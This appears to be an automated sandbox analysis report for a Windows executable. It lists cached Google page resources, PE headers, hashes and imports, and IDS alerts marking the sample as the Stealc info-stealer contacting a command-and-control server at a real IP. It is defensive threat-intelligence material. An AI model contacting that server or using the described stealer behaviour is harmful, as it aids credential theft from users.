Preview:	)]}'.["",["stimulus checks ssi ssdi va benefits","refinance mortgage rates","mexico city f1 qualifying results","apple ai intelligence","fall back daylight savings time","nasa astronauts spacex","miss myanmar miss grand international","taylor mathis draftkings"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133979
Entropy (8bit):	5.435246563315085
Encrypted:	false
SSDEEP:	1536:g7CkPDNTA14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzFixqxUDgRiKvD+RVH2Unp:2Pa1CAV/WEhFdF47j9Ryqxc6+OUaKszQ
MD5:	0BECFB7FA5836188C7B9737782332EF3
SHA1:	9DDAA75CBBD1BDDCF6E9BBF5701A22951AA7A242
SHA-256:	5C3B1DFFD67A51C0EB0BC3F3453D9AC2ECB6735660450B4E9A3F811D05D0C901
SHA-512:	C10C42878EB6F219B74F1E70E3DC03C628AFAA90D96609C1C01B8EB24A00E5F56364783ACAA00F6DE0D7CCA1E9B0329875FE09780131E7D7AEA4365054778E55
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.3790716712622695
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	888'832 bytes
MD5:	f793d9e588c6bf51f1daf523ab2df1ce
SHA1:	f63ce1f9eee9f3ae643e270c7fc854dc51d730d0
SHA256:	a8addc675fcc27c94ff9e4775bb2e090f4da1287aae6b95cecc65ccf533bc61d
SHA512:	4d0d8bf366f4b4793154f31aee4983df307b97edc83608b76628168418d48227eb46f6213469eb4d3a088d891a143b30b3b02acbb194df834da1b61d182607eb
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
TLSH:	0C159D02FA80993BC91B0379509FEB3A9B35A8155702CFD363C89D743DE62D26E3466D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x416c90
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	10c716419074c336e9ef0fc3ed517f78

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 4Ch
call 00007FCF24FB3EEAh
call 00007FCF24FCB7F5h
push 00420AF3h
lea ecx, dword ptr [ebp-0Ch]
call 00007FCF24FCC688h
call 00007FCF24FB2E03h
call 00007FCF24FB2D8Eh
call 00007FCF24FB2D39h
call 00007FCF24FB2E44h
call 00007FCF24FC862Fh
call 00007FCF24FB2DAAh
call 00007FCF24FC95F5h
push eax
lea eax, dword ptr [ebp-4Ch]
push eax
push 004210F8h
lea ecx, dword ptr [ebp-40h]
push ecx
call 00007FCF24FC9672h
push eax
lea edx, dword ptr [ebp-34h]
push edx
push 004210F4h
lea eax, dword ptr [ebp-28h]
push eax
mov ecx, dword ptr [006D6F40h]
push ecx
lea edx, dword ptr [ebp-1Ch]
push edx
lea ecx, dword ptr [ebp-0Ch]
call 00007FCF24FCC8A1h
mov ecx, eax
call 00007FCF24FCC89Ah
mov ecx, eax
call 00007FCF24FCC893h
mov ecx, eax
call 00007FCF24FCC88Ch
mov ecx, eax
call 00007FCF24FCC885h
push eax
lea ecx, dword ptr [ebp-0Ch]
call 00007FCF24FCC76Ch
lea ecx, dword ptr [ebp-4Ch]
call 00007FCF24FCC6C4h
lea ecx, dword ptr [ebp-40h]
call 00007FCF24FCC6BCh
lea ecx, dword ptr [ebp-34h]
call 00007FCF24FCC6B4h
lea ecx, dword ptr [ebp-28h]
call 00007FCF24FCC6ACh
lea ecx, dword ptr [ebp-1Ch]
call 00007FCF24FCC6A4h
mov eax, 00000001h
test eax, eax

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2ab58	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e8000	0x24ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x110	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1cf8a	0x1d000	8d214307e9ffb8535a33da4773b1001b	False	0.4700043776939655	data	6.1044054419906315	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0xd108	0xd200	7b6a56d43fa3a5dbd2d6e39b9042e822	False	0.5237723214285714	data	6.632978864130326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x2bbd9c	0xa9e00	140446011bf66d9675f95852d2d88c41	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2e8000	0x4b3e	0x4c00	106afcaea7e2eee05622e43d2ba4c71d	False	0.4030633223684211	data	4.218245629179745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	strncpy, ??_V@YAXPAX@Z, strtok, memchr, strtok_s, ??_U@YAPAXI@Z, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3
KERNEL32.dll	EncodePointer, RaiseException, GetStringTypeW, MultiByteToWideChar, LCMapStringW, IsValidCodePage, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, FreeLibrary, CreateProcessA, lstrcatA, GetProcAddress, VirtualQueryEx, OpenProcess, ReadProcessMemory, WriteFile, GetOEMCP, GetACP, GetCPInfo, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, DecodePointer, TerminateProcess, GetCurrentProcess, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetModuleHandleW, ExitProcess, Sleep, GetStdHandle, GetModuleFileNameW, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement
USER32.dll	OpenDesktopA, CreateDesktopA, CloseDesktop

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T17:54:06.695565+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:06.979065+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:06.985808+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-27T17:54:07.264007+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:07.282697+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-27T17:54:08.411920+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:09.055761+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:36.788219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:40.302041+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:42.402461+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:43.533888+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:45.803484+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:46.373213+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49853	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 17:54:03.120294094 CET	49674	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:03.120331049 CET	49675	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:03.276583910 CET	49673	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:05.486114979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:05.491720915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:05.491800070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:05.492032051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:05.497426987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.398673058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.398842096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.401675940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.407095909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.695485115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.695564985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.696734905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.702130079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.978950024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.979008913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:06.979064941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.979114056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.980463028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:06.985807896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263887882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263916016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263933897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263948917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263966084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.263993979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.264007092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.264025927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.264039040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.264061928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.264070034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.264086962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.264096975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.264107943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.264142990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.277334929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.282696962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.559369087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.559423923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.606152058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.606224060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:07.613667011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.613701105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.613729000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.613760948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.613789082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.615957975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:07.615986109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:08.411791086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:08.411920071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:08.688941956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:08.694541931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055612087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055707932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055761099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.055795908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.055826902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055861950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055881977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.055910110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.055937052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.055970907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056005001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056026936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056051970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056082010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056108952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056145906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056176901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056211948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056232929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056267023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056286097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056319952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056339979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056370974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056390047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056507111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.056519985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.056557894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128144979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128187895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128226042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128259897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128294945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128294945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128336906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128375053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128398895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128424883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128448009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128504992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:09.128596067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128629923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:09.128664970 CET	80	49704	185.215.113.206	192.168.2.5
